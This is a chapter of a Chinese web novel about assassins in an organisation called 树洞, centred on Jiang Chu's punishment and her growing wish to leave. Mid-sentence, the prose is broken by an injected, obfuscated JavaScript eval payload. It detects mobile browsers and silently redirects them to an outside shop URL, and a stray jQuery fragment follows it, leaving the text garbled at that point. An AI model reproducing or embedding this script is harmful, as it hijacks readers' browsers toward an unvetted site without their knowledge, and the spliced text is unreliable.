树洞
“叔叔,学校那边的事情都搞定了。”陈江站在真皮沙发边上,认真向孙思悟汇报。
四个男人围着牌桌坐着,每个人都拿着自己的底牌。
这把游戏,孙思悟是庄家。
“学校那边的事情,哪值得大哥担心。”
说话的是安白舟,是组织的二把手。
他的头发总是用发胶打理的很好,脸上的痘坑密密麻麻,鼻子上还永远挂着小圆框眼镜。
牌桌上的另外两个人则是孙思悟的合作伙伴宫赤和麻志勇。
“你最近的工作做的不错。”
孙思悟摸到了一把好牌,心情很是畅快。
陈江把头低下来,安静看着四人打牌。
孙思悟掀起三张公共牌。
黑桃9,红桃8,红桃4。
孙思悟加注。
“这把手气太烂了,就先不跟各位大哥争了。”安白舟弃牌。
牌桌上还剩三个人。
第四张公共牌开了,是一张红桃9。
孙思悟把牌桌上一半的筹码推了出去。
“孙兄这把别出来一个同花顺。”宫赤笑呵呵的问,紧紧按下手里的底牌。
“这还跟什么跟,我就应该上把就弃牌。”麻志勇今天已经输了很多,打到现在手里的底牌没好过。
第二轮,麻志勇弃牌。
牌桌上只剩下孙思悟和宫赤。
“瞧瞧,一个个儿的,都在炸我。手里的牌说不定一个比一个好,都在这给我演戏。”孙思悟大笑一声,转身对先弃牌的安白舟说。
“今天大家都让着我怎么,别是做了什么对不起我的事儿,牌桌上可不讲赔罪这一套啊。”
孙思悟眼神随着手指游移,掠过牌桌上的每一个人,说的煞有介事。
“诶?陈江怎么还在这站着,我这才发现,要不下一轮你顶上你白舟哥。”
安白舟没抬头,给了陈江一记眼刀。
“阿初上次出门办事,回来得晚了一些,已经按规矩处理过了。”因为违反组织纪律,没有在任务完成后准时回来,江初势必要接受处罚。
陈江汇报完自己的工作,自然的向孙思悟汇报起江初的情况。一方面,他帮忙拖延的事情肯定瞒不过叔叔,主动提起应该可以消除他的一些疑心;另一方面,他还想看看能不能为阿初争取一些,至少别受那么多天的苦。
“这么小的事还值得这么大动干戈吗?兄妹俩还提上规矩了,你私下里提醒她两句也就算了,毕竟是女孩子。”
翻开第五张公共牌。
是梅花A。
“宫赤啊,这张可是你的好牌吧。”
孙思悟的语气没什么波动。
“是啊,现在大家都说你管得好,看在你的面子上谁还能真为难小初不成?”安白舟的话绵里藏刀,“你没先去看看她吗,情况怎么样,我看她那么瘦,别落下什么病根儿,到时候再怪你这个做哥哥的。”
几句话下来,听着是关心江初的身体,实则当着孙思悟的面内涵他在树洞权力过大,无疑是给他挖了一个大坑。
“规矩就是规矩,我和阿初都是守规矩的人。今天就算是我自己受了伤,也不能耽搁了任务,这是我和阿初早就达成的共识。也就是一会儿过去的时候被她埋怨两句,我想她也不会真的怪我的。”
陈江朝孙思悟的方向弯了弯腰,语气相当恭敬。
“你们办事我都放心,你去看你妹妹吧,惩罚什么的今天就结束了吧。”
孙思悟没看陈江,朝他摆了摆手,让他离开。
陈江离开屋子,小声合住门,眯着的眼从顺从变得阴鸷。今天这笔账他记下了,迟早有一天,他会让安白舟变成哑巴。
陈江没怎么绕路,快步走到禁闭室,那是关着江初的地方。
被关在监禁室里三天,这三天她都没有好好吃饭,靠着白水维系生命体征,只不过会经常陷入昏睡。
陈江把绑在她手腕和脚腕上的铁链解开。没了支撑点,她的身体立马倒下。幸好陈江及时撑住了她,并把她抱了回去。
几滴葡萄糖水从嘴唇的缝隙滴进舌头,再到喉咙,江初的意识逐渐清醒。
陈江坐在江初的床边,看着她慢慢睁开眼睛。
“要是有力气你就把嘴巴张大一点,就这几滴葡萄糖水不够你醒五分钟的。”
江初听话的张开嘴。
她现在的脸部肌肉又凉又硬,只是张开一点嘴她就快要没有力气。
陈江仔细控制着杯子,慢慢的把葡萄糖水倒进江初的嘴里。
恢复了一点力气,江初坐起身来,靠在床背上,从陈江手上接过杯子。
“你还不如给我打针,比这个快多了。”
“这里的针管都不干净。”陈江说的坦然。
陈江把两袋面包和几个糖果扔给江初。
床边的桌子上,还有一碗白粥和几盘小菜。
“有力气了就把面包吃了。”看到江初惨白的脸,陈江有些火大,“你带点吃的进去也没人会说你什么,何必吃这苦头。”
“我要是破了规矩,会有人因此抓住你的小辫子吧。”
江初了解陈江的处境,她不想陈江为自己的好奇和任性买单。况且,陈江已经帮她很多了。就像这次,他借着陈江的权限在外面多呆了三天,虽然只是让她在这三天不被树洞抓回去,但她也已经很满足了,毕竟这在树洞已经属于少见的优待了。
面包是草莓味的,但江初顾不上多嚼几口就咽了下去。
“为什么?”
陈江坐到书桌旁的椅子上,双手交叉,胳膊支在大腿上。
“什么为什么?”江初装傻。
“为什么在外面多待这几天?你明知道会是什么下场。”
“就是一点自己的事。”江初没看陈江的眼睛。
自己的事?她有了除了她和他之外自己的事?
“什么事?”
“听说你前一段时间去了学校?”
江初用勺子搅动白粥,勺子碰到碗壁发出“哒哒”声,声音尖亮而清脆,让人直起鸡皮疙瘩。
陈江明白江初的意思。
她从来没问过陈江的事情,陈江也应该给她留一点空间。
江初从没对他说过这样的话。她明明有心事,却不愿意对他讲。
沉默了许久,他决定离开。江初还没恢复,他不想跟她争执。
陈江在外面总习惯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510653|202980||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
伪装自己,但在江初这里,他从不掩饰自己的情绪。江初看得出来他现在不高兴,还有些失落。
看着他的背影,江初有些犹豫。
见到赵帆帆再回来之后,在监禁室那少得可怜的清醒时间里,她做了个决定。而现在,她想告诉陈江......
她想离开树洞,就像赵帆帆离开赵家、离开岚城一样。
“陈江……”
陈江快走到门口,回过头来。
“嗯?”
“你觉得树洞外面怎么样?”
陈江警觉:“这是什么意思?”
“我就是在想,如果当年没走进那个树林,我们现在会是什么样的?”
“你为什么会突然这么想?”陈江很敏锐,大脑迅速运转,“因为你被惩罚了?你出去任务这几天有人给你说什么了?还是因为明光?”
“你想……离开?”
他没回答她任何一个问题,但他的立场已经很明显。
她理解陈江。
他们来这里实在太久,树洞就像他们的家乡。
他们,不是选择成为,只是生来就是杀手罢了。
只要树洞的利刃还没有指向陈江,他不会选择离开。
“就是刚才梦到小时候的事情了,醒的突然,就想续写一下这个梦。”
江初知道,不管自己说什么话来掩饰,陈江都已经开始怀疑自己了。
“阿初,这件事的风波已经过去了,也不会再有人惩罚你,把你脑子里那些歪心思都扔掉。”
陈江又走到江初床边,盯着她的眼睛,想从中得到肯定的答复。
“而且你答应过我,我们要一起走到最后的。”
江初蓝紫色的瞳孔安静的像湖水,一眼望不到底。
“你别想太多。”江初看了眼他手中震动发亮的手机屏幕,“到时间了,你该走了……哥。”
江初很久没叫他哥了。
此刻,他们离得那么近,又那么远。
她变得不可被触及,像飘在空中,就要消散的烟。
---
抛开明光和江初的关系不谈,明光事件背后的逻辑,让江初的世界正在倒塌。
孙思悟对江初有救命之情、养育之恩,她活着本就应该报答这一份情。
但孙思悟对明光的绝情和狠厉,与江初对情之一字的理解完全相悖。
前者是需要报答的情,后者是被肆意利用的情。
对情这个概念有完全不同理解和诠释方法的两个人,看起来不会是同行者。
江初面对这个事,又能做什么呢?她去找老大复仇?用什么立场呢?明光的好朋友吗?
管了这件事,是对孙思悟恩将仇报。
不管这件事,她又不配成为明光的好朋友。
无论怎么样,总有“情”和“情”在打架,在争斗。
江初被夹在中间。
她没法再为孙思悟杀人,也没法因为明光去杀了孙思悟。
这几天,她想通了一件事。
道不同,不相为谋。
她放了赵帆帆离开,也想放自己离开。
离开总比两败俱伤要好。
可惜,陈江不想离开。